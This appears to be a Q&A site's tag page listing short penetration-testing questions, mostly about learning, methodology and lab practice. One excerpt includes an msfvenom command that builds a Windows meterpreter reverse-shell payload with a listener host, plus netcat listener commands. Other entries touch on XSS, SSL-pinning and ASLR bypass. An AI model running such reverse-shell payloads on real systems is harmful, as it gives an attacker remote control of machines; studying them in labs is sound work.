Questions tagged [penetration-test]
An attempt to penetrate a system's security in an effort to evaluate the protections in place.
1,240
questions
0
votes
0answers
58 views
Is it worth to study cybersecurity now? [closed]
I want to study pentest. But recently I read Cronus CyBot,Cymulate and PenTera, WPA3, WPA2-enterprice. That instruments destroys pentester work or make it impossible. So it is worth to me to learn it?
0
votes
1answer
39 views
.local domain any possible ways in getting the extension
I was recently working on Broken link Hijacking and found a link in a target which reflected on multiple pages. It was portal.REDACTED.local which was not accessible and returned response as bad host.
...
0
votes
0answers
28 views
Pentration Testing or reverse engineering as a career? [closed]
I'm a Cybersecurity student and I am confused between choosing between reverse engineering or pentesting (hacking). Which is better for the availability of jobs, salary, and comfort?
0
votes
0answers
27 views
What is a security intrusion test? [closed]
Is it the same as a penetration test? Is it a part of penetration testing? What does an intrusion test typically involve?
0
votes
4answers
81 views
Application is validating the file extension but not file content - Is this a security vulnerability?
An application has a file extension validation at the server side and rejecting the request if the Extensions are not matching to (.pdf/.docx). But if i modify an exe file's extension to .pdf and ...
2
votes
0answers
21 views
Java - Ultra Light Client (ULC traffic inspection)
I'm working on security assessment of thick client application created using ULC. It is black box approach.
Based on wiki (wiki.c2.com): "Ultra Light Client (ULC) for Java is a widget set that ...
1
vote
1answer
35 views
Verifying the security of SAML SSO
I run an instance of a log aggregation product in the cloud, installed on a VM. I've strictly configured it's networking settings, internal firewall, internal port redirection, strong admin password, ...
0
votes
0answers
40 views
Bash - SUID Program's Child Process did not inherit Parent Process UID as EUID [duplicate]
Background
In practicing pentesting a VM on Vulnhub I encountered an issue that is quite interesting with Brainpan. After initial access with a limited shell generated from a BoF exploit on a service ...
0
votes
3answers
94 views
How to share penetration tests results + remediation plan to third party companies without exposing one's self
We are integrating our services with 3rd party companies (ie customers are able to buy the products of third party companies on our platform). These companies are asking us to provide to their ...
0
votes
0answers
28 views
How to obtain PRGA file using aireplay-ng chopchop or fragmentation attack
I am running Kali linux 2020.3 on VBox on Windows 10. I put my wireless card AWUS036ACH chipset Realtek RTL8812AU in monitor mode using airmon-ng start wlan0 X (by x i mean the number of channel AP is ...
-1
votes
1answer
77 views
OWASP ZAP: How to Test on AWS + Magento? Which guidelines must be observed? [closed]
I am supposed to do a test for AWS. But since AWS has limitations, probably also in the direction of DDoS and other points, what does a corresponding test scenario look like?
It is about a Magento ...
1
vote
1answer
62 views
Is nonce useless when user input is reflected within an inline script?
I stumbled upon a web app which is accepting user input and putting it into a variable within script tag.
The script tag does have a nonce attribute.
As am working on bypassing the XSS filter, I had ...
0
votes
1answer
33 views
windows 10 showing me that bWAPP contains a reverse shell
i have downloaded bwapp from official site and windows 10 defender showing me that it contains a reverse shell ( i know these things are there for practice ) but in earlier days it is not showing that....
2
votes
1answer
477 views
Connect msfvenom reverse shell without metasploit
For most reverse shell here, I can simply use netcat to connect:
nc -nlvp 1234
But for reverse shell created by msfvenom, for example:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.7 ...
0
votes
1answer
43 views
Error on Content Security Policy while testing for Clickjacking
I was recently testing for Clickjacking and when I opened developer tools, I was warning
Content Security Policy: Ignoring “'unsafe-inline'” within script-src or style-src: nonce-source or hash-source ...
0
votes
0answers
68 views
Bypass ASLR in buffer overflow
Iam new in buffer overflow and i have some questions :
Is all dll files in windows are loaded at memory or some of them only , If some of them , Who tell windows to load this and leave this
How an ....
5
votes
1answer
116 views
What questions are useful to scope a mobile app pen test?
When arranging a pen test it's common practice to ask the client a set of questions, and use the answers either as the basis for further discussions, or to directly provide a test plan and quotation.
...
0
votes
1answer
118 views
Pentesting : what should one do if nothing is returned from Vulnerability Assessment
A typicall pentesting activity has the following step :
1 - information gathering + enumeration
2 - vulnerability assessment (vulnerability scanning)
3 - exploitation
4 - post exploitation ...
1
vote
0answers
75 views
Collaboration tools [closed]
Is there any good alternatives to the lair-framework. I think that was an awesome platform, and unfortunately its not maintained anymore and no more updates to it. But i have tried all other kinds of ...
0
votes
1answer
54 views
What happens when attacker scan a IP that is used by multiple devices? [duplicate]
Assuming ISP gives only 1 external IP and you have few devices that use this IP. So you will have a router and few PC's with same external IP and different local IP. When all PC's are online and one ...
2
votes
3answers
116 views
Should the pentester seek features to test by himself?
Imagine we have a dev team
developers
team lead
scrum master
...
When a new feature is planned to be implemented, should it be sent to the security team by the dev team lead (to evaluate whether it ...
0
votes
0answers
57 views
OpenVPN: test security from external point of view
How would I test an OpenVPN environment from external, kind of black box pentest.
I have the public server-IP (port 1194, udp, tun).
I have found NO online ressources on how to do that, or whether ...
0
votes
0answers
121 views
Not able to capture 4 way handshake using airodump-ng
I am not able capture 4 way handshake, I also tried manually disconnecting and reconnecting my device to the network in hope that airodump-ng will capture the handshake but no luck. I checked the ...
1
vote
1answer
176 views
Bypass frontend ampersand encoding and perform XSS
I just started learning something about web app pentesting and I was trying my hand on a website (which I'm allowed to test on). I found this potential stored XSS:
<div title="hello">hello</...
0
votes
1answer
169 views
SQLmap finds injectable 'id' parameter but the response is 'Internal Server Error'
I am trying to understand the SQLi so I ran SQLMap with '-vvv' parameter
4: Show also HTTP requests.
I did scan one of the vulnerable and 'free to hack' sites.
In one of the requests sent, the ...
0
votes
1answer
70 views
Difference between Web App Pentesting and Web App Security Audit
I'm having a hard time drawing the line between Web App pentesting vs a Web App Security Audit.
For instance, OWASP Testing Guide could be used for both of those cases.
Let's say the pentester and ...
0
votes
2answers
91 views
Nmap scanning with and without proxychains has different behaviour
I'm doing a nmap scan to my own machine to my own machine. First of all I set the port 333 to listen with this command sudo nc -lvnp 333
On the other terminal I run sudo nmap -O -sV -p 0-65535 IP ...
10
votes
3answers
954 views
Why are there different pentest phases/stages/methodologies?
Why are there different pentest phases/stages/methodologies?
Which one should be used?
Why don't we come out with standard one?
E.g.
Wikipedia / Cybrary.it
Reconnaissance
Scanning
Gaining ...
1
vote
1answer
111 views
precautions before conducting a penetration test
According to me, The key here is to use virtualization. This is a main precaution that allows safe handling (isolation) of systems that could otherwise be exploited and leveraged as jump points into ...
0
votes
1answer
77 views
Pentesting Webserver Dead End (MySQL White Listing Bypass)
I am currently pentesting a webserver running MySQL, managed to obtain its db configuration (w/ login credentials) but the hostname is in a Local Area Network. The server has white listing enabled, so ...
0
votes
0answers
203 views
Bypassing SSL pinning Using Frida issue
I am a penetration tester, and I was doing some SSL pinning bypass using Frida.
I have pushed all the required files and certificates, and burp is intercepting traffic from the Android Studio ...
35
votes
6answers
15k views
As a company, how can we prevent penetration testers from compromising our system?
What tools or techniques can companies use to prevent penetration testers from behaving maliciously and exfiltrating data or compromising the system? I cannot imagine that the only protections ...
0
votes
2answers
174 views
First step into pentesting Vaadin web application framework
I have been given a project to perform penetration testing on a Vaadin Web Application. This kind of web application is new for me, so I'm just wondering what should I prepare to perform penetration ...
0
votes
1answer
586 views
Calculate Content-Length (HTTP Request Smuggling)
I am trying to understand more about HTTP Request Smuggling and I have been reading this article (https://portswigger.net/web-security/request-smuggling). Content-Length represents the length of the ...
4
votes
1answer
62 views
Exploitation of client_id in OAuth
We have a web app where the back end is composed of APIs. We use OAuth to authorize the web app's call to the APIs. We all know that in OAuth, there is always the Authorization endpoint used to get ...
0
votes
0answers
12 views
Session Hijacking with remote server [duplicate]
Session cookie can help to bypass 2FA.
Suppose victim and attacker are on same network without firewall.
Attacker wants to steal victims login session.
So attacker sends original login page over ...
0
votes
1answer
75 views
How to pentest RMI
I have a Swing client that communicates through T3 protocol (RMI) with a Server. Now I want to capture the requests and modify them (like HTTP in Burp or OWASP ZAP).
Is there any attack proxy for RMI/...
0
votes
1answer
78 views
Arp poisoning is disrupting the LAN
I'm poisoning my home network, I was able to do it 1 time. When i tried several more times to poison the wifi network or the cable network the "target" started to lose connectivity in both cases.
...
0
votes
0answers
253 views
nmap script “smb-os-discovery.nse” does not output information about the host OS?
I was following this Lynda course.
https://www.linkedin.com/learning/ethical-hacking-enumeration/enumerating-smb-from-linux-episode-1
The instructor used this script to detect the OS of the target ...
0
votes
0answers
121 views
Protect Socket.IO server against DOS
I'm currently pentesting an Angular application that connects to a Socket.IO server. The authentication process is in the line of:
Unauthenticated request gets redirected to SSO for login
Login ...
0
votes
2answers
75 views
Can demo exploits/attacks be run on desktop applications? [closed]
Are there any applications/tools for exploiting desktop applications? (with pre-built exploits)
I'd like to test my Java desktop app for security.
I've looked at tools like Metasploit, but they seem ...
1
vote
1answer
512 views
Success rate of pixie dust attack
Recently I read about the pixie dust attack in which a WPS PIN is decoded with time stamp and other resources within a fraction of a second. The only drawback is that it only works on WPS enabled ...
0
votes
1answer
84 views
PostgreSQL exploit not loading in MSFConsole from ExploitDB
Just trying to get a postgreSQL exploit (32847.txt - Low Cost Function ) from exploitdb to run in msfconsole. After pulling my hair out trying to figure out why it isn't loading, here I am. I'm using ...
0
votes
1answer
207 views
How to approach Web App? [closed]
I'm doing testing on the app, if we take only login url as a starting point.
How to expand my horizons?
I want to make my surface wider, really kinda stuck on this one.
-1
votes
1answer
70 views
How to remove CRLF [http request header termination] character programatically?
I am trying to make the http request by removing the header termination character. I manually removed it by intercepting the request in proxies like burp and manually removing the header termination ...
0
votes
1answer
121 views
Is it possible for OWASP ZAP to pass-through some requests without intercepting them, as if there were no proxy?
I have an iOS app with certificate pinning to two different servers.
I want to test this certificate pinning with a MITM attack, so I did:
Set proxy at my PC, in macos wifi settings -> advanced -> ...
1
vote
1answer
184 views
Can pen-testing be done on a person's regular machine, or should it be done on a separate machine?
I am a developer and I have been looking more into security / pen-testing to make sure my application is secure. A lot of the resources I have looked at mention having a "pen-testing machine/lab/box,"...
1
vote
1answer
63 views
What is the impact of controling the content of a webview in Android?
I'm learning android application pen testing and I'm kinda lost about what can do an attacker that control the content of a webview ?
I guess if there is no javascript enabled there is no impact, ...
0
votes
1answer
82 views
security for intranet applications [duplicate]
If an application is intended to work only on a machine which is NOT connected to the internet BUT stores extremely confidential information, should we implement same security policy as if it was ...
2
votes
1answer
316 views
Which web vulnerabilities should I test for when pentesting a static site?
I have a static-page website that I need to pentest. What I mean by this is that the site does not have a database, and it has no area to submit user input except for to a third party payment service ...
